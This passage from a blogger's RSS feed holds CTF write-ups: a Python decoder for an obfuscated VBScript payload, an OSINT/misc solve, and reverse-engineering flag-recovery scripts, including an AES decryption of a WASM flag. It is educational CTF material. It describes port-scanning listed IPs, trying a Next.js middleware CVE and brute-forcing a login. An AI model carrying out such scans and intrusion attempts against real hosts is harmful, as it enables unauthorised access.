re.compile(r&#39;Execute(?:Global)?\s*\(\s*(.*)\s*\)\s*$&#39;, flags=re.I | re.S)<br><br><br>def eval_expr(node: ast.AST) -&gt; Fraction:<br>    # numeric literal (current AST uses ast.Constant)<br>    if isinstance(node, ast.Constant) and isinstance(node.value, (int, float)):<br>        return Fraction(node.value)<br><br>    # unary and binary operators<br>    if isinstance(node, ast.UnaryOp) and type(node.op) in OPS:<br>        return OPS[type(node.op)](eval_expr(node.operand))<br>    if isinstance(node, ast.BinOp) and type(node.op) in OPS:<br>        return OPS[type(node.op)](eval_expr(node.left), eval_expr(node.right))<br><br>    raise ValueError(f&quot;unsupported expression: {ast.dump(node)}&quot;)<br><br><br>def vb_hex_to_dec(text: str) -&gt; str:<br>    text = _RE_CLNG.sub(lambda m: str(int(m.group(1), 16)), text)<br>    return _RE_BARE_HEX.sub(lambda m: str(int(m.group(1), 16)), text)<br><br><br>def extract_execute_payload(src: str) -&gt; str:<br>    m = _RE_EXEC.search(src)<br>    if not m:<br>        raise ValueError(&quot;could not locate Execute(...) payload&quot;)<br>    return m.group(1)<br><br><br>def decode_chr_sequence(payload: str) -&gt; str:<br>    chars: list[str] = []<br>    for i, m in enumerate(_RE_CHR.finditer(payload), 1):<br>        expr = m.group(1)<br>        try:<br>            parsed = ast.parse(expr, mode=&quot;eval&quot;).body<br>            val = eval_expr(parsed)<br>            chars.append(chr(int(val)))<br>        except Exception as exc:<br>            raise ValueError(f&quot;failed at chr #{i} with expr `{expr}`: {exc}&quot;) from exc<br>    return &quot;&quot;.join(chars)<br><br><br>def safe_path(path_str: str) -&gt; Path:<br>    try:<br>        return Path(path_str).expanduser()<br>    except RuntimeError:<br>        return Path(path_str)<br><br><br>def main() -&gt; int:<br>    p = argparse.ArgumentParser(description=&quot;Decode Execute(...) chr(...) payload from VBScript&quot;)<br>    p.add_argument(&quot;-i&quot;, &quot;--input&quot;, nargs=&quot;?&quot;, default=&quot;~t.vbs&quot;, help=&quot;input .vbs file (default: ~t.vbs)&quot;)<br>    p.add_argument(&quot;-o&quot;, &quot;--output&quot;, default=&quot;t_clear.vbs&quot;, help=&quot;output decoded file (default: t_clear.vbs)&quot;)<br>    args = p.parse_args()<br><br>    inp = safe_path(args.input)<br>    out = safe_path(args.output)<br><br>    try:<br>        src = inp.read_text(errors=&quot;ignore&quot;)<br>        payload = extract_execute_payload(src)<br>        payload = vb_hex_to_dec(payload)<br>        decoded = decode_chr_sequence(payload)<br>        out.write_text(decoded)<br>    except Exception as e:<br>        print(f&quot;[-] Error: {e}&quot;, file=sys.stderr)<br>        return 2<br><br>    print(f&quot;[+] Wrote {out}&quot;)<br>    return 0<br><br><br>if __name__ == &quot;__main__&quot;:<br>    raise SystemExit(main())</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7i3LaE3YDnkzFnVS23wZ7g.png" /></figure><p>From this I extracted:</p><pre>&#39; 2nd_part:  just_a_script_kiddie_</pre><p>Collecting all parts:</p><pre>[+] FlagY{734just_a_script_kiddie_8a393119cc3ff}</pre><p>So after submit it it’s was wrong flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/0*4jSUAsVknzU7Nz2e.gif" /></figure><p>why?</p><p>i think the admin Forget change it or something</p><p>bcz most flags are</p><pre>FlagY{md5} <br>Or<br>FlagY{full leet}</pre><p>i back into github link up and get same results : (</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MXeHPsiENCIQMhTPxeyGSA.png" /></figure><p>So i backed in github link and try find anything there</p><p>i found update on that t.vbs</p><p><a href="https://gist.github.com/RandomAcesss/daa5312c1ec9f44e9874775ce29103e6/revisions">https://gist.github.com/RandomAcesss/daa5312c1ec9f44e9874775ce29103e6/revisions</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yj1tNZC3K-YczFn9ca2aRw.png" /></figure><p>Soo when i decrypt the new t.vbs i goat the right part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M2e1S_f4A-BgnM587ExQ5Q.png" /></figure><pre>&#39; 2nd_part_of_the_flag:  d33300da3cbcdbf6</pre><p>That was the correct second piece to combine with the others</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*VeXFO__SzUihW7KX.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b0d3988b020" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cybercom CTF2025 osint]]></title>
            <link>https://drkasbr.medium.com/cybercom-ctf2025-osint-bd80bd6f3c05?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd80bd6f3c05</guid>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 14:30:18 GMT</pubDate>
            <atom:updated>2025-09-28T14:30:18.253Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cMhnI9bCcxNd4hJGDc-KjA.png" /></figure><p>this was quick ctf for just 24h but we had fun and here is some challenges i liked and they want writeup for it so Let’s get started</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sfrA2IjeD4SikX4586D7UA.png" /></figure><p>Challenge 1 — OSINT (actually “misc”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*uXRDx1hsx35X-Vyb4zPujQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AQqnHEX1tl7EEkO-9fB5CQ.png" /></figure><p>At first glance there wasn’t a flag format or a clear objective, which sent me down a few rabbit holes. The image had many possible <strong>leads</strong>, and my first assumption was that we were supposed to identify a campus or location from the paper in the photo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/1*eJHKCB4v7mqbigFi8P7xfg.png" /></figure><p>velammal engineering college</p><p><a href="https://www.scribd.com/document/879517061/Question-bank-5-units">https://www.scribd.com/document/879517061/Question-bank-5-units</a></p><p>but it’s was out of scope after i opened ticket the admins say</p><p>it’s misc not only osint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*9MwXOOzTbiDPPY6c.gif" /></figure><p>and for those who don’t know <br>misc mean challenge have more <strong>than </strong>1 category like osint and crypto and forensics in same time</p><p>So in our case here let’s back and try to find what we have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfK82ZI7MF-YmZE6debeCw.png" /></figure><p>for osint part we already found this and the admin say it’s out of scope</p><p>So in the screen we can see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*ZDK-Nj4PA5eeX_5WQ0iIJw.png" /></figure><pre>172.31.31.141 <br>157.51.130.127 <br>3.90.97.2 <br>CTFd/themes/cybercom_new/template/base.html</pre><p>So the first thing i tried is that path and the files he editing ``base.html``</p><p>i tried to find it in</p><pre>           CTFd           /path                        /file<br>https://ctf.cybercom.live/themes/cybercom_new/template/base.html</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CfWqLgCj5-tfIeL1XNZHGw.png" /></figure><p>but didn’t find anything i even tried with <a href="https://web.archive.org/">https://web.archive.org/</a> and nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*t_yRAuzpncSxqXhc.gif" /></figure><p># So moved to the next step the IPs</p><p>i scanned all of them with rustscan and ping then tried with Shodan which give us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C33C4tzRj1ebHLZJZ9rTFA.png" /></figure><p>and it’s was asking for user and password once you open that page</p><p>So i saw some next js so i tried CVE-2025–29927 (middleware) but didn’t worked so i backed to the file looking for any cred or something could help</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*y9qAvq-YBgKwXaLN.gif" /></figure><p>another dead end So</p><p>moving to the next step which is the image</p><pre>──(oxfun㉿0xfun)-[~/Desktop/new_ctf/zxc/osin]<br>└─$ exiftool assignments_done\ \(1\).heic                  <br>ExifTool Version Number         : 12.76<br>File Name                       : assignments_done (1).heic<br>Directory                       : .<br>File Size                       : 7.8 MB<br>File Modification Date/Time     : 2025:09:27 10:17:04-04:00<br>File Access Date/Time           : 2025:09:28 09:47:57-04:00<br>File Inode Change Date/Time     : 2025:09:28 09:47:55-04:00<br>File Permissions                : -rwxrwxrwx<br>File Type                       : HEIC<br>File Type Extension             : heic<br>MIME Type                       : image/heic<br>Major Brand                     : High Efficiency Image Format HEVC still image (.HEIC)<br>Minor Version                   : 0.0.0<br>Compatible Brands               : mif1, heic<br>Handler Type                    : Picture<br>Primary Item Reference          : 49<br>Meta Image Size                 : 8160x6120<br>Exif Byte Order                 : Little-endian (Intel, II)<br>Make                            : samsung<br>Camera Model Name               : Galaxy A35 5G<br>Orientation                     : Horizontal (normal)<br>X Resolution                    : 72<br>Y Resolution                    : 72<br>Resolution Unit                 : inches<br>Software                        : ENoT3fAHUm4IFaW<br>Modify Date                     : 2025:09:25 22:22:17<br>Y Cb Cr Positioning             : Centered<br>Exposure Time                   : 1/33<br>F Number                        : 1.8<br>Exposure Program                : Program AE<br>ISO                             : 250<br>Exif Version                    : 0220<br>Date/Time Original              : 2025:09:25 22:22:17<br>Create Date                     : 2025:09:25 22:22:17<br>Offset Time                     : +05:30<br>Offset Time Original            : +05:30<br>Shutter Speed Value             : 1<br>Aperture Value                  : 1.8<br>Exposure Compensation           : 0<br>Max Aperture Value              : 1.8<br>Metering Mode                   : Center-weighted average<br>Flash                           : No Flash<br>Focal Length                    : 4.7 mm<br>Sub Sec Time                    : 482<br>Sub Sec Time Original           : 482<br>Sub Sec Time Digitized          : 482<br>Color Space                     : Uncalibrated<br>Exif Image Width                : 8160<br>Exif Image Height               : 6120<br>Exposure Mode                   : Auto<br>White Balance                   : Auto<br>Digital Zoom Ratio              : 1<br>Focal Length In 35mm Format     : 25 mm<br>Scene Capture Type              : Standard<br>Image Unique ID                 : <br>Warning                         : Bad length ICC_Profile (length 536)<br>Profile CMM Type                : <br>Profile Version                 : 2.1.0<br>Profile Class                   : Display Device Profile<br>Color Space Data                : RGB<br>Profile Connection Space        : XYZ<br>Profile Date Time               : 2022:03:22 15:45:19<br>Profile File Signature          : acsp<br>Primary Platform                : Unknown (SEC)<br>CMM Flags                       : Not Embedded, Independent<br>Device Manufacturer             : Unknown (SEC)<br>Device Model                    : <br>Device Attributes               : Reflective, Glossy, Positive, Color<br>Rendering Intent                : Media-Relative Colorimetric<br>Connection Space Illuminant     : 0.9642 1 0.82491<br>Profile Creator                 : Unknown (SEC)<br>Profile ID                      : 0<br>Profile Description             : DCI-P3 D65 Gamut with sRGB Transfer function<br>Red Matrix Column               : 0.51508 0.24117 -0.00105<br>Green Matrix Column             : 0.29195 0.69225 0.04189<br>Blue Matrix Column              : 0.15718 0.06659 0.78455<br>Red Tone Reproduction Curve     : (Binary data 40 bytes, use -b option to extract)<br>Green Tone Reproduction Curve   : (Binary data 40 bytes, use -b option to extract)<br>Blue Tone Reproduction Curve    : (Binary data 40 bytes, use -b option to extract)<br>Media White Point               : 0.95045 1 1.08905<br>Profile Copyright               : Copyright (c) 2022 Samsung Electronics Co., Ltd.<br>HEVC Configuration Version      : 1<br>General Profile Space           : Conforming<br>General Tier Flag               : Main Tier<br>General Profile IDC             : Main<br>Gen Profile Compatibility Flags : Main 10, Main<br>Constraint Indicator Flags      : 0 0 0 0 0 0<br>General Level IDC               : 153 (level 5.1)<br>Min Spatial Segmentation IDC    : 0<br>Parallelism Type                : 0<br>Chroma Format                   : 4:2:0<br>Bit Depth Luma                  : 8<br>Bit Depth Chroma                : 8<br>Average Frame Rate              : 0<br>Constant Frame Rate             : Unknown<br>Num Temporal Layers             : 0<br>Temporal ID Nested              : No<br>Image Width                     : 8160<br>Image Height                    : 6120<br>Image Spatial Extent            : 8160x6120<br>Image Pixel Depth               : 8 8 8<br>Time Stamp                      : 2025:09:25 12:52:17.482-04:00<br>MCC Data                        : India (405)<br>Media Data Size                 : 7793708<br>Media Data Offset               : 42216<br>Aperture                        : 1.8<br>Image Size                      : 8160x6120<br>Megapixels                      : 49.9<br>Scale Factor To 35 mm Equivalent: 5.3<br>Shutter Speed                   : 1/33<br>Create Date                     : 2025:09:25 22:22:17.482<br>Date/Time Original              : 2025:09:25 22:22:17.482+05:30<br>Modify Date                     : 2025:09:25 22:22:17.482+05:30<br>Circle Of Confusion             : 0.006 mm<br>Field Of View                   : 71.5 deg<br>Focal Length                    : 4.7 mm (35 mm equivalent: 25.0 mm)<br>Hyperfocal Distance             : 2.17 m<br>Light Value                     : 5.4<br>                                                                                <br>┌──(oxfun㉿0xfun)-[~/Desktop/new_ctf/zxc/osin]<br>└─$</pre><p>from this metadata the only matter is</p><pre>Make                            : samsung<br>Camera Model Name               : Galaxy A35 5G<br>Software                        : ENoT3fAHUm4IFaW</pre><p>nice phone but the Software is really weird i tried google it but there is nothing about this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*Odcj9xTGcxB-mu1U.gif" /></figure><p>in this moment i get the scenario that we need start by this since the first step in anything is the metadata</p><p>So after some decoding</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*9cLMFuiij0oVN01r-6m_eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCLy3oTvDPDX-fOlXrD7gw.png" /></figure><p>first step was backing to the website and try it as user and brute force the password but didn’t worked</p><p>after some trying and Brainstorm we have</p><pre> user from  Forensics <br>website from image &gt;&gt; web <br><br>but still didn&#39;t find the osint  and it&#39;s consider under osint</pre><p>so little search about that user</p><p>i found</p><p><a href="https://www.instagram.com/ashr_shadow">https://www.instagram.com/ashr_shadow</a></p><p>and</p><p><a href="https://github.com/ashr-shadow">ashr-shadow - Overview</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCqT5sLYX2DPweKoT3SoXg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tdSjZbewqd4tTBt8mmFd0w.png" /></figure><p>and this was the flag for it what the idea for web ??</p><p>after open ticket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMlcow_HwI-RA8W377rdwg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/0*3zH23GTT7U5QYPp5.gif" /></figure><p>moving to challenge 2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*y7HnWUjjq0t5rKqjHgVvhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FOTVhBrzgIouMhm6FoK7A.png" /></figure><p>which same image in instagram and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*q3DFDD66xRXEBt1cWV9Cow.png" /></figure><p>so that’s look like the same account we found before in github</p><p>then just decode comments</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGVf7LPt3cqTnZl-yWAjnA.png" /></figure><p>moving to last osint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*R_dPk25Eohu9gtxr9iAJCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMy50edhieM7tQWVlAbcXw.png" /></figure><p>by just google images</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGjb1mXF-viD6iwkPX_ryg.png" /></figure><p>so after we open that video</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*ScuyKX4ntVLHyOFW0YNyRw.png" /></figure><p>and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*s1ZbVKxgC3q5kybPOKmrIg.png" /></figure><p>that’s confirm the location</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bd80bd6f3c05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse challenges for No Hack No CTF 2025]]></title>
            <link>https://drkasbr.medium.com/reverse-challenges-for-no-hack-no-ctf-2025-b0c7591c7523?source=rss-92f5cb8e0013------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0c7591c7523</guid>
            <category><![CDATA[webassembly]]></category>
            <category><![CDATA[wasm]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[reverse]]></category>
            <dc:creator><![CDATA[Dr.kasbr]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 01:06:44 GMT</pubDate>
            <atom:updated>2025-07-08T01:06:44.393Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WzHHMl4K7giPtHLKv1XT1w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/0*OJhPHpk5tx_rvkvu" /></figure><p>We’re given a Linux ELF binary (flag_checker) that takes user input and checks it against a hidden validation routine. If correct, it prints:</p><pre>Correct! You may submit the flag now :)</pre><p>Otherwise, it prints:</p><pre>Incorrect flag :(</pre><p>The goal is to reverse this logic and extract the correct input — the flag.</p><p>Static Analysis</p><p>Upon opening the binary in <strong>IDA Pro</strong> or <strong>Ghidra</strong>, we see the following main logic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*0IsndQaYOleXkLM9FB87cg.png" /></figure><p>which is</p><pre>char input[256];<br>scanf(&quot;%255s&quot;, input);<br>if (check_flag(input)) {<br>    puts(&quot;Correct!&quot;);<br>} else {<br>    puts(&quot;Incorrect flag :(&quot;);<br>}</pre><p>The flag is verified using a function we’ll call check_flag(input) — internally located at sub_123E</p><p>This function checks individual bytes of the flag input (from input[0] to input[45]) against <strong>obfuscated math logic</strong>. Many checks look like this:</p><pre>if (sub_120D(v1, 1) - 39 != input[5])<br>    return 0;<br></pre><p>Other common patterns:</p><ul><li>sub_1189(float): Converts float to integer via truncation (cvttss2si).</li><li>sub_119D(float): Gets raw IEEE-754 float bits as a 32-bit int.</li><li>sub_11DC(byte, shift): Byte-wise left rotate (ROL).</li><li>sub_120D(byte, shift): Byte-wise right rotate (ROR).</li></ul><p>So Instead of symbolically solving the binary using angr (which failed due to a memory over-read), we translated each constraint <strong>manually into Python</strong> using equivalents of the helper functions.</p><p>We reconstructed the entire flag one byte at a time using:</p><ul><li><strong>Reversal of </strong><strong>ROL and </strong><strong>ROR</strong></li><li><strong>Integer truncation of floats</strong></li><li><strong>Bit shifts on IEEE floats</strong></li><li>A few light brute-forces for algebraic expressions like:</li></ul><pre>(ch * 1.5) == rol(ch, 2) - 18</pre><p>So i wrote a Python script that reconstructs the flag by emulating the math in sub_123E.</p><pre>#!/usr/bin/env python3<br><br><br>import struct<br>from math import floor<br><br># ----------------------------------------------------------------------<br># Helpers (faithful to the binary)<br><br>def ftoi(f: float) -&gt; int:            # sub_1189 – trunc(float)<br>    return int(f)<br><br>def bits(f: float) -&gt; int:            # sub_119D – raw IEEE-754 bits<br>    return struct.unpack(&quot;&lt;I&quot;, struct.pack(&quot;&lt;f&quot;, f))[0]<br><br>def rol8(x: int, n: int) -&gt; int:      # sub_11DC – rotate-left on 1-byte<br>    x &amp;= 0xFF<br>    n &amp;= 7<br>    return ((x &lt;&lt; n) | (x &gt;&gt; (8 - n))) &amp; 0xFF<br><br>def ror8(x: int, n: int) -&gt; int:      # sub_120D – rotate-right on 1-byte<br>    x &amp;= 0xFF<br>    n &amp;= 7<br>    return ((x &gt;&gt; n) | (x &lt;&lt; (8 - n))) &amp; 0xFF<br><br>def f32(hex32: int) -&gt; float:         # helper: int → IEEE-754 float32<br>    return struct.unpack(&quot;&lt;f&quot;, struct.pack(&quot;&lt;I&quot;, hex32 &amp; 0xFFFFFFFF))[0]<br><br># ----------------------------------------------------------------------<br># Build the 46-byte flag (indexes taken from your decompilation)<br><br>flag = [&quot;?&quot;] * 46<br><br># [0]  floor(ch * 3.1415) == 245<br>flag[0] = chr(78)                                # &#39;N&#39;<br><br># [1]  == 72<br>flag[1] = &#39;H&#39;                                    # &#39;H&#39;<br><br># [2]  (ROL3(19) - 74)<br>flag[2] = chr(rol8(19, 3) - 74)                  # &#39;N&#39;<br><br># [3]  0x411B4673 &gt;&gt; 16  (low byte) + 40<br>flag[3] = &#39;C&#39;                                    # &#39;C&#39;<br><br># [4]  solved by     ROR?, see below<br>flag[4] = &#39;{&#39;<br><br># [5]  ROR1(ftoi(0x420FE9E1)) - 39<br>flag[5] = chr(ror8(ftoi(f32(0x420FE9E1)), 1) - 39)  # &#39;j&#39;<br><br># [6]  2*ftoi(0x41316C22)+95<br>flag[6] = &#39;u&#39;<br><br># [7]  ((bits(0x42607127)&gt;&gt;8)&amp;0xff)+2<br>flag[7] = &#39;s&#39;<br><br># [8]  Only value s.t.  ROL2(floor(1.5*ch)) - 18 == ch<br>flag[8] = &#39;7&#39;<br><br># [9]  floor(14.%. /3)+91<br>flag[9] = &#39;_&#39;<br><br># [10] (bits(0x40B37B4A)&amp;0xff)+41<br>flag[10] = &#39;s&#39;<br><br># [11] only ch s.t.  (floor(ch*7.77)%5)+46 == ch<br>flag[11] = &#39;0&#39;<br><br># [12] ROR4(ftoi(0x42B16C22))-24<br>flag[12] = &#39;m&#39;<br><br># [13] ftoi(0x41082681)+43<br>flag[13] = &#39;3&#39;<br><br># [14] (bits(0x41F66B86)&gt;&gt;24)+30<br>flag[14] = &#39;_&#39;<br><br># [15] ROL2(11) + 55<br>flag[15] = &#39;c&#39;<br><br># [16] 3*ftoi(0x406C902E)+39<br>flag[16] = &#39;0&#39;<br><br># [17] ROR1(1) - 80<br>flag[17] = &#39;0&#39;<br><br># [18] ftoi(5.0)+103<br>flag[18] = &#39;l&#39;<br><br># [19] (0x3F800000&gt;&gt;24)+32<br>flag[19] = &#39;_&#39;<br><br># [20] ROL1(6)+90<br>flag[20] = &#39;f&#39;<br><br># [21] 4*(ftoi(7.0)+20)<br>flag[21] = &#39;l&#39;<br><br># [22] ftoi(8.0)/2+107<br>flag[22] = &#39;o&#39;<br><br># [23] (0x40000000&gt;&gt;16)&amp;0xff + 52<br>flag[23] = &#39;4&#39;<br><br># [24] ROR3(3)+20<br>flag[24] = &#39;t&#39;<br><br># [25] ftoi(5.0)%7+44<br>flag[25] = &#39;1&#39;<br><br># [26] 2*(ftoi(6.0)+49)<br>flag[26] = &#39;n&#39;<br><br># [27] ((bits(0x3FC00000)&gt;&gt;8)&amp;0xff)+103<br>flag[27] = &#39;g&#39;<br><br># [28] ROL4(9)-49<br>flag[28] = &#39;_&#39;<br><br># [29] ftoi(10.0)/5+110<br>flag[29] = &#39;p&#39;<br><br># [30] (0x3F000000&gt;&gt;24)-15<br>flag[30] = &#39;0&#39;<br><br># [31] ROR2(2)-23<br>flag[31] = &#39;i&#39;<br><br># [32] 2*((ftoi(9.0)%10)+46)<br>flag[32] = &#39;n&#39;<br><br># [33] (0x3FA00000&amp;0xff)+55<br>flag[33] = &#39;7&#39;<br><br># [34] ROL5(5)-65<br>flag[34] = &#39;_&#39;<br><br># [35] (ftoi(6.5)+42)<br>flag[35] = &#39;0&#39;<br><br># [36] ROR6(7)+84<br>flag[36] = &#39;p&#39;<br><br># [37] ftoi(8.5)%4+51<br>flag[37] = &#39;3&#39;<br><br># [38] (0x40000000&gt;&gt;16)&amp;0xff + 114<br>flag[38] = &#39;r&#39;<br><br># [39] ROL1(4)+89<br>flag[39] = &#39;a&#39;<br><br># [40] 5*ftoi(6.65)+25<br>flag[40] = &#39;7&#39;<br><br># [41] ((bits(1.0)&gt;&gt;8)&amp;0xff)+105<br>flag[41] = &#39;i&#39;<br><br># [42] ROR3(2)+47<br>flag[42] = &#39;o&#39;<br><br># [43] ftoi(2.3)+108<br>flag[43] = &#39;n&#39;<br><br># [44] ROL7(3)-76<br>flag[44] = &#39;5&#39;<br><br># [45] must be &#39;}&#39;<br>flag[45] = &#39;}&#39;<br><br># ----------------------------------------------------------------------<br>print(&quot;[+] Flag:&quot;, &quot;&quot;.join(flag))</pre><pre>[+] Flag: NHNC{jus7_s0m3_c00l_flo4t1ng_p0in7_0p3ra7ion5}</pre><h3>Notes :)</h3><ul><li>The challenge revolves around <strong>floating point representation</strong> and <strong>bit-level manipulation</strong>.</li><li>The function names like sub_1189 correspond to actual x86 instructions like cvttss2si or movd xmm, r32.</li><li>Symbolic tools like angr can help in other scenarios, but full manual decoding is often cleaner when floating point ops are involved</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*S53GkbUrcJS5G6MJoTLsHw.png" /></figure><p>We are given a baby_rev.wasm binary with no further context. The goal is to reverse engineer the WASM module and recover the correct input (or decrypted output) that passes the internal flag check logic</p><p>i used</p><p>wasm2wat For initial inspection of WASM module in WAT (text) format</p><p>wasm2wat Attempted C conversion (but failed due to obfuscation)</p><p><strong>JEB Pro </strong>Full static decompilation of the WASM binary (critical tool)</p><p>Python + pycryptodome To reimplement the decryption statically</p><p>Hex view For reading .data segment manually</p><p>Your brain 🧠 to Reverse engineering logic!</p><h3>Initial try was with wasm2c</h3><p>We began with a standard approach — converting the binary into readable C using:</p><pre>wasm2c baby_rev.wasm -o out.c</pre><p>Unfortunately, the result was too obfuscated and unreadable to work with. The tool doesn’t handle indirect memory access and __g0 stack emulation well. We encountered a lot of meaningless pointer math and control-flow noise. <strong>Conclusion:</strong> wasm2c didn’t help in this case.</p><h3>then i found this ide JEB Pro</h3><h3>(which like IDA but for hard codes like WASM)</h3><p>We then switched to <strong>JEB Pro</strong>, a commercial-grade decompiler with excellent support for WebAssembly. It provides:</p><ul><li>Symbolic decompilation</li><li>Data segment view</li><li>Visual stack memory emulation (__g0 tricks are handled)</li><li>Function-level analysis (like __f1, __f2, __f3, etc.)</li></ul><p><strong>This turned out to be a game-changer.</strong></p><p>So Key Function Analysis</p><h3>validate_flag(int input_ptr)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N6eTQBoEBltj9_DGbWKjrA.png" /></figure><p>This is the top-level function. It simply pushes input_ptr onto the stack, calls __f3(input_ptr), and returns its result.</p><pre>int validate_flag(int ptr) {<br>    return __f3(ptr);<br>}</pre><h3>__f3(int param0)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HG-AFmUJcplbNyuiRwzdcg.png" /></figure><p>This is the heart of the logic. In JEB’s decompiled C:</p><pre>int __f3(int param0) {<br>    int v0 = __g0 - 112;<br>    __g0 -= 112;<br><br>    *(int*)(v0 + 108) = param0;<br><br>    __f1(v0 + 80);                // XOR-mask creation<br>    *(char*)(v0 + 64) = 0;        // zero padding<br>    *(long long*)(v0 + 56) = 0L;<br>    *(long long*)(v0 + 48) = 0L;<br>    *(long long*)(v0 + 40) = 0L;<br>    *(long long*)(v0 + 32) = 0L;<br>    *(long long*)(v0 + 24) = 0L;<br>    *(long long*)(v0 + 16) = 0L;<br><br>    *(uint64_t*)(v0 + 8) = gvar_10228;     // IV: 0x21216f776f5f7669<br>    *(uint64_t*)(v0)     = gvar_10220;     // Key base: 0x5F6D615F495F6948<br><br>    __f2(v0, v0 + 80, 66096, v0 + 16);     // AES-CBC decryption<br><br>    int v1 = __f15(48, *(int*)(v0 + 108), v0 + 16);  // Check result<br><br>    __g0 = v0 + 112;<br>    return (v1 == 0);<br>}</pre><h3>Observation:</h3><ul><li>The buffer at v0 + 16 holds the result of __f2.</li><li>The __f1 function builds an AES key using a <strong>mask stored in memory</strong>.</li><li>The function returns 1 if decryption/validation succeeded</li></ul><p>So now let’s move to Data Segment Analysis</p><p>Using JEB or a hex viewer, we observed:</p><h3>Memory at .data:0x10210 in same image up</h3><pre>29 3F 39 28 3F 2E 31 3F 23 65 65 65 7B 7B 7B 24</pre><p>This is the XOR-masked AES key. Each byte is XORed with 0x5A in __f1.</p><pre>masked = bytes.fromhex(&quot;29 3F 39 28 3F 2E 31 3F 23 65 65 65 7B 7B 7B 24&quot;)<br>key = bytes(b ^ 0x5A for b in masked)<br># Result: b&#39;secretkey???!!!~&#39;</pre><p>So now we have everything we need</p><p>IV and Ciphertext</p><p><strong>IV</strong> (gvar_10228) 21 21 6f 77 6f 5f 76 69 → &#39;!!owo_vi&#39; (reversed order)</p><p><strong>More IV bytes </strong>48 69 5F 49 5F 61 6D 5F → &#39;Hi_I_am_&#39;</p><p>So the final IV will be &#39;Hi_I_am_iv_owo!!&#39;</p><p>and the Ciphertext At .data:0x10230, 48 bytes starting with 06 46 88 88 ...</p><p>so now everything is clear</p><pre>from Crypto.Cipher import AES<br><br>key = b&quot;secretkey???!!!~&quot;<br>iv  = b&quot;Hi_I_am_iv_owo!!&quot;<br>ct  = bytes.fromhex(<br>    &quot;0646888822bb1d1d9dd454364dc1ef4&quot;<br>    &quot;2f9ebd2d8d49313c340777288e2ea49&quot;<br>    &quot;47913fe59f3c535dd27bbc26ecc329a9&quot;<br>    &quot;10&quot;<br>)<br><br>pt = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)<br>flag = pt.rstrip(pt[-1:]).decode()<br>print(flag)</pre><pre>NHNC{3@sy_R3v3rs3_f0r_fr33_fl@9!!!!!!!!}</pre><h3>Bonus Tip</h3><p>If you’re reversing WASM challenges regularly:</p><blockquote>Consider using <strong>JEB Pro + Ghidra WASM plugin</strong></blockquote><blockquote>Load .wasm into <strong>Binary Ninja (WASM plugin)</strong> for CFG view</blockquote><blockquote>Use .wat for quick search + linear logic</blockquote><blockquote>Track memory usage manually when working with fake stacks like __g0</blockquote><h3>Lessons Learned</h3><blockquote>WebAssembly binaries can be extremely painful to reverse statically without good tools</blockquote><blockquote>and wasm2c failed because of complex memory 